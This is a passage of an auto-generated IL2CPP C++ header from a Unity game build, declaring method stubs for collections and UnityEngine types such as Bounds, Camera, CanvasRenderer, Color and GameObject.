System.Collections.Generic.Stack`1::Push(!0) #define Stack_1_Push_m1219431354(__this, p0, method) (( void (*) (Stack_1_t2391531380 *, Type_t *, const MethodInfo*))Stack_1_Push_m1129365869_gshared)(__this, p0, method) // !0 System.Collections.Generic.Stack`1::Pop() #define Stack_1_Pop_m685736912(__this, method) (( Type_t * (*) (Stack_1_t2391531380 *, const MethodInfo*))Stack_1_Pop_m1289567471_gshared)(__this, method) // System.Int32 System.Collections.Generic.Stack`1::get_Count() #define Stack_1_get_Count_m1292854535(__this, method) (( int32_t (*) (Stack_1_t2391531380 *, const MethodInfo*))Stack_1_get_Count_m4101767244_gshared)(__this, method) // System.Void System.Collections.Generic.List`1::.ctor() #define List_1__ctor_m4047179467(__this, method) (( void (*) (List_1_t672924358 *, const MethodInfo*))List_1__ctor_m310736118_gshared)(__this, method) // System.Void System.Collections.Generic.List`1::Add(!0) #define List_1_Add_m176071399(__this, p0, method) (( void (*) (List_1_t672924358 *, Type_t *, const MethodInfo*))List_1_Add_m4157722533_gshared)(__this, p0, method) // !0[] System.Collections.Generic.List`1::ToArray() #define List_1_ToArray_m1070939693(__this, method) (( TypeU5BU5D_t1664964607* (*) (List_1_t672924358 *, const MethodInfo*))List_1_ToArray_m546658539_gshared)(__this, method) // T UnityEngine.AttributeHelperEngine::GetCustomAttributeOfType(System.Type) #define AttributeHelperEngine_GetCustomAttributeOfType_TisDefaultExecutionOrder_t2717914595_m3755678983(__this /* static, unused */, ___klass0, method) (( DefaultExecutionOrder_t2717914595 * (*) (Il2CppObject * /* static, unused */, Type_t *, const MethodInfo*))AttributeHelperEngine_GetCustomAttributeOfType_TisIl2CppObject_m581732473_gshared)(__this /* static, unused */, ___klass0, method) // System.Int32 UnityEngine.DefaultExecutionOrder::get_order() extern "C" int32_t DefaultExecutionOrder_get_order_m1561221759 (DefaultExecutionOrder_t2717914595 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.AudioClip/PCMReaderCallback::Invoke(System.Single[]) extern "C" void PCMReaderCallback_Invoke_m3610389815 (PCMReaderCallback_t3007145346 * __this, SingleU5BU5D_t577127397* ___data0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.AudioClip/PCMSetPositionCallback::Invoke(System.Int32) extern "C" void PCMSetPositionCallback_Invoke_m651987035 (PCMSetPositionCallback_t421863554 * __this, int32_t ___position0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.AudioSettings/AudioConfigurationChangeHandler::Invoke(System.Boolean) extern "C" void AudioConfigurationChangeHandler_Invoke_m635374412 (AudioConfigurationChangeHandler_t3743753033 * __this, bool ___deviceWasChanged0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.AudioSource::Play(System.UInt64) extern "C" void AudioSource_Play_m889724421 (AudioSource_t1135106623 * __this, uint64_t ___delay0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.Component::.ctor() extern "C" void Component__ctor_m205306948 (Component_t3819376471 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.BitStream::INTERNAL_CALL_Serializeq(UnityEngine.BitStream,UnityEngine.Quaternion&,System.Single) extern "C" void BitStream_INTERNAL_CALL_Serializeq_m2945252026 (Il2CppObject * __this /* static, unused */, BitStream_t1979465639 * ___self0, Quaternion_t4030073918 * ___value1, float ___maximumDelta2, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.BitStream::INTERNAL_CALL_Serializev(UnityEngine.BitStream,UnityEngine.Vector3&,System.Single) extern "C" void BitStream_INTERNAL_CALL_Serializev_m928884041 (Il2CppObject * __this /* static, unused */, BitStream_t1979465639 * ___self0, Vector3_t2243707580 * ___value1, float ___maximumDelta2, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.BitStream::INTERNAL_CALL_Serializen(UnityEngine.BitStream,UnityEngine.NetworkViewID&) extern "C" void BitStream_INTERNAL_CALL_Serializen_m1742444286 (Il2CppObject * __this /* static, unused */, BitStream_t1979465639 * ___self0, NetworkViewID_t3942988548 * ___viewID1, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.BitStream::Serializeb(System.Int32&) extern "C" void BitStream_Serializeb_m2728727597 (BitStream_t1979465639 * __this, int32_t* ___value0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.BitStream::Serializec(System.Char&) extern "C" void BitStream_Serializec_m2418807390 (BitStream_t1979465639 * __this, Il2CppChar* ___value0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.BitStream::Serializes(System.Int16&) extern "C" void BitStream_Serializes_m1379945554 (BitStream_t1979465639 * __this, int16_t* ___value0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.BitStream::Serializei(System.Int32&) extern "C" void BitStream_Serializei_m1463666006 (BitStream_t1979465639 * __this, int32_t* ___value0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.BitStream::Serialize(System.Single&,System.Single) extern "C" void BitStream_Serialize_m622035106 (BitStream_t1979465639 * __this, float* ___value0, float ___maxDelta1, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.BitStream::Serializef(System.Single&,System.Single) extern "C" void BitStream_Serializef_m745934178 (BitStream_t1979465639 * __this, float* ___value0, float ___maximumDelta1, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.BitStream::Serialize(UnityEngine.Quaternion&,System.Single) extern "C" void BitStream_Serialize_m3564943814 (BitStream_t1979465639 * __this, Quaternion_t4030073918 * ___value0, float ___maxDelta1, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.BitStream::Serializeq(UnityEngine.Quaternion&,System.Single) extern "C" void BitStream_Serializeq_m4825889 (BitStream_t1979465639 * __this, Quaternion_t4030073918 * ___value0, float ___maximumDelta1, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.BitStream::Serialize(UnityEngine.Vector3&,System.Single) extern "C" void BitStream_Serialize_m1992343662 (BitStream_t1979465639 * __this, Vector3_t2243707580 * ___value0, float ___maxDelta1, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.BitStream::Serializev(UnityEngine.Vector3&,System.Single) extern "C" void BitStream_Serializev_m2025246298 (BitStream_t1979465639 * __this, Vector3_t2243707580 * ___value0, float ___maximumDelta1, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.BitStream::Serializen(UnityEngine.NetworkViewID&) extern "C" void BitStream_Serializen_m1340978949 (BitStream_t1979465639 * __this, NetworkViewID_t3942988548 * ___viewID0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // UnityEngine.Vector3 UnityEngine.Vector3::op_Multiply(UnityEngine.Vector3,System.Single) extern "C" Vector3_t2243707580 Vector3_op_Multiply_m1351554733 (Il2CppObject * __this /* static, unused */, Vector3_t2243707580 ___a0, float ___d1, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.Bounds::.ctor(UnityEngine.Vector3,UnityEngine.Vector3) extern "C" void Bounds__ctor_m1202659404 (Bounds_t3033363703 * __this, Vector3_t2243707580 ___center0, Vector3_t2243707580 ___size1, const MethodInfo* method) IL2CPP_METHOD_ATTR; // UnityEngine.Vector3 UnityEngine.Bounds::get_center() extern "C" Vector3_t2243707580 Bounds_get_center_m129401026 (Bounds_t3033363703 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Int32 UnityEngine.Vector3::GetHashCode() extern "C" int32_t Vector3_GetHashCode_m1754570744 (Vector3_t2243707580 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // UnityEngine.Vector3 UnityEngine.Bounds::get_extents() extern "C" Vector3_t2243707580 Bounds_get_extents_m4077324178 (Bounds_t3033363703 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Int32 UnityEngine.Bounds::GetHashCode() extern "C" int32_t Bounds_GetHashCode_m4284443179 (Bounds_t3033363703 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Boolean UnityEngine.Vector3::Equals(System.Object) extern "C" bool Vector3_Equals_m2692262876 (Vector3_t2243707580 * __this, Il2CppObject * ___other0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Boolean UnityEngine.Bounds::Equals(System.Object) extern "C" bool Bounds_Equals_m839506137 (Bounds_t3033363703 * __this, Il2CppObject * ___other0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.Bounds::set_center(UnityEngine.Vector3) extern "C" void Bounds_set_center_m2069004927 (Bounds_t3033363703 * __this, Vector3_t2243707580 ___value0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // UnityEngine.Vector3 UnityEngine.Bounds::get_size() extern "C" Vector3_t2243707580 Bounds_get_size_m1728027642 (Bounds_t3033363703 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.Bounds::set_size(UnityEngine.Vector3) extern "C" void Bounds_set_size_m3943815629 (Bounds_t3033363703 * __this, Vector3_t2243707580 ___value0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.Bounds::set_extents(UnityEngine.Vector3) extern "C" void Bounds_set_extents_m2829577033 (Bounds_t3033363703 * __this, Vector3_t2243707580 ___value0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // UnityEngine.Vector3 UnityEngine.Vector3::op_Subtraction(UnityEngine.Vector3,UnityEngine.Vector3) extern "C" Vector3_t2243707580 Vector3_op_Subtraction_m2407545601 (Il2CppObject * __this /* static, unused */, Vector3_t2243707580 ___a0, Vector3_t2243707580 ___b1, const MethodInfo* method) IL2CPP_METHOD_ATTR; // UnityEngine.Vector3 UnityEngine.Bounds::get_min() extern "C" Vector3_t2243707580 Bounds_get_min_m2405290441 (Bounds_t3033363703 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // UnityEngine.Vector3 UnityEngine.Vector3::op_Addition(UnityEngine.Vector3,UnityEngine.Vector3) extern "C" Vector3_t2243707580 Vector3_op_Addition_m3146764857 (Il2CppObject * __this /* static, unused */, Vector3_t2243707580 ___a0, Vector3_t2243707580 ___b1, const MethodInfo* method) IL2CPP_METHOD_ATTR; // UnityEngine.Vector3 UnityEngine.Bounds::get_max() extern "C" Vector3_t2243707580 Bounds_get_max_m4247050707 (Bounds_t3033363703 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Boolean UnityEngine.Vector3::op_Equality(UnityEngine.Vector3,UnityEngine.Vector3) extern "C" bool Vector3_op_Equality_m305888255 (Il2CppObject * __this /* static, unused */, Vector3_t2243707580 ___lhs0, Vector3_t2243707580 ___rhs1, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Boolean UnityEngine.Bounds::op_Equality(UnityEngine.Bounds,UnityEngine.Bounds) extern "C" bool Bounds_op_Equality_m2161830280 (Il2CppObject * __this /* static, unused */, Bounds_t3033363703 ___lhs0, Bounds_t3033363703 ___rhs1, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.Bounds::SetMinMax(UnityEngine.Vector3,UnityEngine.Vector3) extern "C" void Bounds_SetMinMax_m1523110422 (Bounds_t3033363703 * __this, Vector3_t2243707580 ___min0, Vector3_t2243707580 ___max1, const MethodInfo* method) IL2CPP_METHOD_ATTR; // UnityEngine.Vector3 UnityEngine.Vector3::Min(UnityEngine.Vector3,UnityEngine.Vector3) extern "C" Vector3_t2243707580 Vector3_Min_m4249067335 (Il2CppObject * __this /* static, unused */, Vector3_t2243707580 ___lhs0, Vector3_t2243707580 ___rhs1, const MethodInfo* method) IL2CPP_METHOD_ATTR; // UnityEngine.Vector3 UnityEngine.Vector3::Max(UnityEngine.Vector3,UnityEngine.Vector3) extern "C" Vector3_t2243707580 Vector3_Max_m2105825185 (Il2CppObject * __this /* static, unused */, Vector3_t2243707580 ___lhs0, Vector3_t2243707580 ___rhs1, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.Bounds::Encapsulate(UnityEngine.Vector3) extern "C" void Bounds_Encapsulate_m3688171368 (Bounds_t3033363703 * __this, Vector3_t2243707580 ___point0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.String UnityEngine.UnityString::Format(System.String,System.Object[]) extern "C" String_t* UnityString_Format_m2949645127 (Il2CppObject * __this /* static, unused */, String_t* ___fmt0, ObjectU5BU5D_t3614634134* ___args1, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.String UnityEngine.Bounds::ToString() extern "C" String_t* Bounds_ToString_m1966597703 (Bounds_t3033363703 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.Camera::INTERNAL_get_pixelRect(UnityEngine.Rect&) extern "C" void Camera_INTERNAL_get_pixelRect_m1785951490 (Camera_t189460977 * __this, Rect_t3681755626 * ___value0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.Camera::INTERNAL_CALL_ScreenToViewportPoint(UnityEngine.Camera,UnityEngine.Vector3&,UnityEngine.Vector3&) extern "C" void Camera_INTERNAL_CALL_ScreenToViewportPoint_m529506484 (Il2CppObject * __this /* static, unused */, Camera_t189460977 * ___self0, Vector3_t2243707580 * ___position1, Vector3_t2243707580 * ___value2, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.Camera::INTERNAL_CALL_ScreenPointToRay(UnityEngine.Camera,UnityEngine.Vector3&,UnityEngine.Ray&) extern "C" void Camera_INTERNAL_CALL_ScreenPointToRay_m2752248646 (Il2CppObject * __this /* static, unused */, Camera_t189460977 * ___self0, Vector3_t2243707580 * ___position1, Ray_t2469606224 * ___value2, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.Camera/CameraCallback::Invoke(UnityEngine.Camera) extern "C" void CameraCallback_Invoke_m3079065225 (CameraCallback_t834278767 * __this, Camera_t189460977 * ___cam0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // UnityEngine.GameObject UnityEngine.Camera::INTERNAL_CALL_RaycastTry(UnityEngine.Camera,UnityEngine.Ray&,System.Single,System.Int32) extern "C" GameObject_t1756533147 * Camera_INTERNAL_CALL_RaycastTry_m1030092423 (Il2CppObject * __this /* static, unused */, Camera_t189460977 * ___self0, Ray_t2469606224 * ___ray1, float ___distance2, int32_t ___layerMask3, const MethodInfo* method) IL2CPP_METHOD_ATTR; // UnityEngine.GameObject UnityEngine.Camera::INTERNAL_CALL_RaycastTry2D(UnityEngine.Camera,UnityEngine.Ray&,System.Single,System.Int32) extern "C" GameObject_t1756533147 * Camera_INTERNAL_CALL_RaycastTry2D_m1020711785 (Il2CppObject * __this /* static, unused */, Camera_t189460977 * ___self0, Ray_t2469606224 * ___ray1, float ___distance2, int32_t ___layerMask3, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Delegate System.Delegate::Combine(System.Delegate,System.Delegate) extern "C" Delegate_t3022476291 * Delegate_Combine_m3791207084 (Il2CppObject * __this /* static, unused */, Delegate_t3022476291 * p0, Delegate_t3022476291 * p1, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Delegate System.Delegate::Remove(System.Delegate,System.Delegate) extern "C" Delegate_t3022476291 * Delegate_Remove_m2626518725 (Il2CppObject * __this /* static, unused */, Delegate_t3022476291 * p0, Delegate_t3022476291 * p1, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.Canvas/WillRenderCanvases::Invoke() extern "C" void WillRenderCanvases_Invoke_m472872824 (WillRenderCanvases_t3522132132 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.Canvas::SendWillRenderCanvases() extern "C" void Canvas_SendWillRenderCanvases_m3796535067 (Il2CppObject * __this /* static, unused */, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Boolean UnityEngine.CanvasGroup::get_blocksRaycasts() extern "C" bool CanvasGroup_get_blocksRaycasts_m3945388797 (CanvasGroup_t3296560743 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.CanvasRenderer::INTERNAL_CALL_SetColor(UnityEngine.CanvasRenderer,UnityEngine.Color&) extern "C" void CanvasRenderer_INTERNAL_CALL_SetColor_m3342810068 (Il2CppObject * __this /* static, unused */, CanvasRenderer_t261436805 * ___self0, Color_t2020392075 * ___color1, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.CanvasRenderer::INTERNAL_CALL_GetColor(UnityEngine.CanvasRenderer,UnityEngine.Color&) extern "C" void CanvasRenderer_INTERNAL_CALL_GetColor_m132373064 (Il2CppObject * __this /* static, unused */, CanvasRenderer_t261436805 * ___self0, Color_t2020392075 * ___value1, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.CanvasRenderer::INTERNAL_CALL_EnableRectClipping(UnityEngine.CanvasRenderer,UnityEngine.Rect&) extern "C" void CanvasRenderer_INTERNAL_CALL_EnableRectClipping_m2214772297 (Il2CppObject * __this /* static, unused */, CanvasRenderer_t261436805 * ___self0, Rect_t3681755626 * ___rect1, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Int32 UnityEngine.CanvasRenderer::get_materialCount() extern "C" int32_t CanvasRenderer_get_materialCount_m2862217439 (CanvasRenderer_t261436805 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Int32 System.Math::Max(System.Int32,System.Int32) extern "C" int32_t Math_Max_m2671311541 (Il2CppObject * __this /* static, unused */, int32_t p0, int32_t p1, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.CanvasRenderer::set_materialCount(System.Int32) extern "C" void CanvasRenderer_set_materialCount_m803316782 (CanvasRenderer_t261436805 * __this, int32_t ___value0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.CanvasRenderer::SetMaterial(UnityEngine.Material,System.Int32) extern "C" void CanvasRenderer_SetMaterial_m1462355522 (CanvasRenderer_t261436805 * __this, Material_t193706927 * ___material0, int32_t ___index1, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.CanvasRenderer::SetTexture(UnityEngine.Texture) extern "C" void CanvasRenderer_SetTexture_m2394798173 (CanvasRenderer_t261436805 * __this, Texture_t2243626319 * ___texture0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.CanvasRenderer::SplitUIVertexStreamsInternal(System.Object,System.Object,System.Object,System.Object,System.Object,System.Object,System.Object) extern "C" void CanvasRenderer_SplitUIVertexStreamsInternal_m729405782 (Il2CppObject * __this /* static, unused */, Il2CppObject * ___verts0, Il2CppObject * ___positions1, Il2CppObject * ___colors2, Il2CppObject * ___uv0S3, Il2CppObject * ___uv1S4, Il2CppObject * ___normals5, Il2CppObject * ___tangents6, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.CanvasRenderer::SplitIndiciesStreamsInternal(System.Object,System.Object) extern "C" void CanvasRenderer_SplitIndiciesStreamsInternal_m3005676420 (Il2CppObject * __this /* static, unused */, Il2CppObject * ___verts0, Il2CppObject * ___indicies1, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.CanvasRenderer::CreateUIVertexStreamInternal(System.Object,System.Object,System.Object,System.Object,System.Object,System.Object,System.Object,System.Object) extern "C" void CanvasRenderer_CreateUIVertexStreamInternal_m2886336395 (Il2CppObject * __this /* static, unused */, Il2CppObject * ___verts0, Il2CppObject * ___positions1, Il2CppObject * ___colors2, Il2CppObject * ___uv0S3, Il2CppObject * ___uv1S4, Il2CppObject * ___normals5, Il2CppObject * ___tangents6, Il2CppObject * ___indicies7, const MethodInfo* method) IL2CPP_METHOD_ATTR; // UnityEngine.CollisionFlags UnityEngine.CharacterController::INTERNAL_CALL_Move(UnityEngine.CharacterController,UnityEngine.Vector3&) extern "C" int32_t CharacterController_INTERNAL_CALL_Move_m2826125634 (Il2CppObject * __this /* static, unused */, CharacterController_t4094781467 * ___self0, Vector3_t2243707580 * ___motion1, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.CharacterController::INTERNAL_get_velocity(UnityEngine.Vector3&) extern "C" void CharacterController_INTERNAL_get_velocity_m3465973477 (CharacterController_t4094781467 * __this, Vector3_t2243707580 * ___value0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // UnityEngine.Rigidbody UnityEngine.Collision::get_rigidbody() extern "C" Rigidbody_t4233889191 * Collision_get_rigidbody_m3671561778 (Collision_t2876846408 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Boolean UnityEngine.Object::op_Inequality(UnityEngine.Object,UnityEngine.Object) extern "C" bool Object_op_Inequality_m2402264703 (Il2CppObject * __this /* static, unused */, Object_t1021602117 * ___x0, Object_t1021602117 * ___y1, const MethodInfo* method) IL2CPP_METHOD_ATTR; // UnityEngine.Transform UnityEngine.Component::get_transform() extern "C" Transform_t3275118058 * Component_get_transform_m2697483695 (Component_t3819376471 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // UnityEngine.Collider UnityEngine.Collision::get_collider() extern "C" Collider_t3497673348 * Collision_get_collider_m3340328360 (Collision_t2876846408 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // UnityEngine.GameObject UnityEngine.Component::get_gameObject() extern "C" GameObject_t1756533147 * Component_get_gameObject_m3105766835 (Component_t3819376471 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // UnityEngine.ContactPoint[] UnityEngine.Collision::get_contacts() extern "C" ContactPointU5BU5D_t1084937515* Collision_get_contacts_m266635379 (Collision_t2876846408 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Collections.IEnumerator System.Array::GetEnumerator() extern "C" Il2CppObject * Array_GetEnumerator_m2284404958 (Il2CppArray * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // UnityEngine.Vector3 UnityEngine.Collision::get_relativeVelocity() extern "C" Vector3_t2243707580 Collision_get_relativeVelocity_m2302609283 (Collision_t2876846408 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // UnityEngine.Vector3 UnityEngine.Vector3::get_zero() extern "C" Vector3_t2243707580 Vector3_get_zero_m1527993324 (Il2CppObject * __this /* static, unused */, const MethodInfo* method) IL2CPP_METHOD_ATTR; // UnityEngine.Collider2D UnityEngine.Physics2D::GetColliderFromInstanceID(System.Int32) extern "C" Collider2D_t646061738 * Physics2D_GetColliderFromInstanceID_m95920619 (Il2CppObject * __this /* static, unused */, int32_t ___instanceID0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // UnityEngine.Rigidbody2D UnityEngine.Physics2D::GetRigidbodyFromInstanceID(System.Int32) extern "C" Rigidbody2D_t502193897 * Physics2D_GetRigidbodyFromInstanceID_m3260338451 (Il2CppObject * __this /* static, unused */, int32_t ___instanceID0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // UnityEngine.Rigidbody2D UnityEngine.Collision2D::get_rigidbody() extern "C" Rigidbody2D_t502193897 * Collision2D_get_rigidbody_m4058558226 (Collision2D_t1539500754 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // UnityEngine.Collider2D UnityEngine.Collision2D::get_collider() extern "C" Collider2D_t646061738 * Collision2D_get_collider_m3330356936 (Collision2D_t1539500754 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.Color::.ctor(System.Single,System.Single,System.Single,System.Single) extern "C" void Color__ctor_m1909920690 (Color_t2020392075 * __this, float ___r0, float ___g1, float ___b2, float ___a3, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.Color::.ctor(System.Single,System.Single,System.Single) extern "C" void Color__ctor_m3811852957 (Color_t2020392075 * __this, float ___r0, float ___g1, float ___b2, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.String UnityEngine.Color::ToString() extern "C" String_t* Color_ToString_m4028093047 (Color_t2020392075 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // UnityEngine.Vector4 UnityEngine.Color::op_Implicit(UnityEngine.Color) extern "C" Vector4_t2243707581 Color_op_Implicit_m1067945802 (Il2CppObject * __this /* static, unused */, Color_t2020392075 ___c0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Int32 UnityEngine.Vector4::GetHashCode() extern "C" int32_t Vector4_GetHashCode_m1576457715 (Vector4_t2243707581 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Int32 UnityEngine.Color::GetHashCode() extern "C" int32_t Color_GetHashCode_m3182525367 (Color_t2020392075 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Boolean System.Single::Equals(System.Single) extern "C" bool Single_Equals_m3359827399 (float* __this, float p0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Boolean UnityEngine.Color::Equals(System.Object) extern "C" bool Color_Equals_m661618137 (Color_t2020392075 * __this, Il2CppObject * ___other0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Boolean UnityEngine.Vector4::op_Equality(UnityEngine.Vector4,UnityEngine.Vector4) extern "C" bool Vector4_op_Equality_m1825453464 (Il2CppObject * __this /* static, unused */, Vector4_t2243707581 ___lhs0, Vector4_t2243707581 ___rhs1, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Single UnityEngine.Mathf::Clamp01(System.Single) extern "C" float Mathf_Clamp01_m3888954684 (Il2CppObject * __this /* static, unused */, float ___value0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.Vector4::.ctor(System.Single,System.Single,System.Single,System.Single) extern "C" void Vector4__ctor_m1222289168 (Vector4_t2243707581 * __this, float ___x0, float ___y1, float ___z2, float ___w3, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.Color32::.ctor(System.Byte,System.Byte,System.Byte,System.Byte) extern "C" void Color32__ctor_m1932627809 (Color32_t874517518 * __this, uint8_t ___r0, uint8_t ___g1, uint8_t ___b2, uint8_t ___a3, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.String UnityEngine.Color32::ToString() extern "C" String_t* Color32_ToString_m1408142756 (Color32_t874517518 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.Object::.ctor() extern "C" void Object__ctor_m197157284 (Object_t1021602117 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // UnityEngine.Component UnityEngine.GameObject::GetComponent(System.Type) extern "C" Component_t3819376471 * GameObject_GetComponent_m306258075 (GameObject_t1756533147 * __this, Type_t * ___type0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // UnityEngine.Component UnityEngine.GameObject::GetComponentInChildren(System.Type,System.Boolean) extern "C" Component_t3819376471 * GameObject_GetComponentInChildren_m4263325740 (GameObject_t1756533147 * __this, Type_t * ___type0, bool ___includeInactive1, const MethodInfo* method) IL2CPP_METHOD_ATTR; // UnityEngine.Component UnityEngine.Component::GetComponentInChildren(System.Type,System.Boolean) extern "C" Component_t3819376471 * Component_GetComponentInChildren_m3925629424 (Component_t3819376471 * __this, Type_t * ___t0, bool ___includeInactive1, const MethodInfo* method) IL2CPP_METHOD_ATTR; // UnityEngine.Component[] UnityEngine.Component::GetComponentsInChildren(System.Type,System.Boolean) extern "C" ComponentU5BU5D_t4136971630* Component_GetComponentsInChildren_m908027537 (Component_t3819376471 * __this, Type_t * ___t0, bool ___includeInactive1, const MethodInfo* method) IL2CPP_METHOD_ATTR; // UnityEngine.Component[] UnityEngine.GameObject::GetComponentsInChildren(System.Type,System.Boolean) extern "C" ComponentU5BU5D_t4136971630* GameObject_GetComponentsInChildren_m993725821 (GameObject_t1756533147 * __this, Type_t * ___type0, bool ___includeInactive1, const MethodInfo* method) IL2CPP_METHOD_ATTR; // UnityEngine.Component UnityEngine.GameObject::GetComponentInParent(System.Type) extern "C" Component_t3819376471 * GameObject_GetComponentInParent_m1235194528 (GameObject_t1756533147 * __this, Type_t * ___type0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // UnityEngine.Component[] UnityEngine.Component::GetComponentsInParent(System.Type,System.Boolean) extern "C" ComponentU5BU5D_t4136971630* Component_GetComponentsInParent_m1920178904 (Component_t3819376471 * __this, Type_t * ___t0, bool ___includeInactive1, const MethodInfo* method) IL2CPP_METHOD_ATTR; // UnityEngine.Component[] UnityEngine.GameObject::GetComponentsInParent(System.Type,System.Boolean) extern "C" ComponentU5BU5D_t4136971630* GameObject_GetComponentsInParent_m1568786844 (GameObject_t1756533147 * __this, Type_t * ___type0, bool ___includeInactive1, const MethodInfo* method) IL2CPP_METHOD_ATTR; // UnityEngine.Component[] UnityEngine.GameObject::GetComponents(System.Type) extern "C" ComponentU5BU5D_t4136971630* GameObject_GetComponents_m297658252 (GameObject_t1756533147 * __this, Type_t * ___type0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.Component::GetComponentsForListInternal(System.Type,System.Object) extern "C" void Component_GetComponentsForListInternal_m4241828391 (Component_t3819376471 * __this, Type_t * ___searchType0, Il2CppObject * ___resultList1, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.String UnityEngine.GameObject::get_tag() extern "C" String_t* GameObject_get_tag_m1425941094 (GameObject_t1756533147 * __this, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.GameObject::set_tag(System.String) extern "C" void GameObject_set_tag_m717375123 (GameObject_t1756533147 * __this, String_t* ___value0, const MethodInfo* method) IL2CPP_METHOD_ATTR; // System.Void UnityEngine.Component::SendMessageUpwards(System.String,System.Object,UnityEngine.SendMessageOptions) extern "C" void Component_SendMessageUpwards_m2584088787 (Component_t3819376471 * 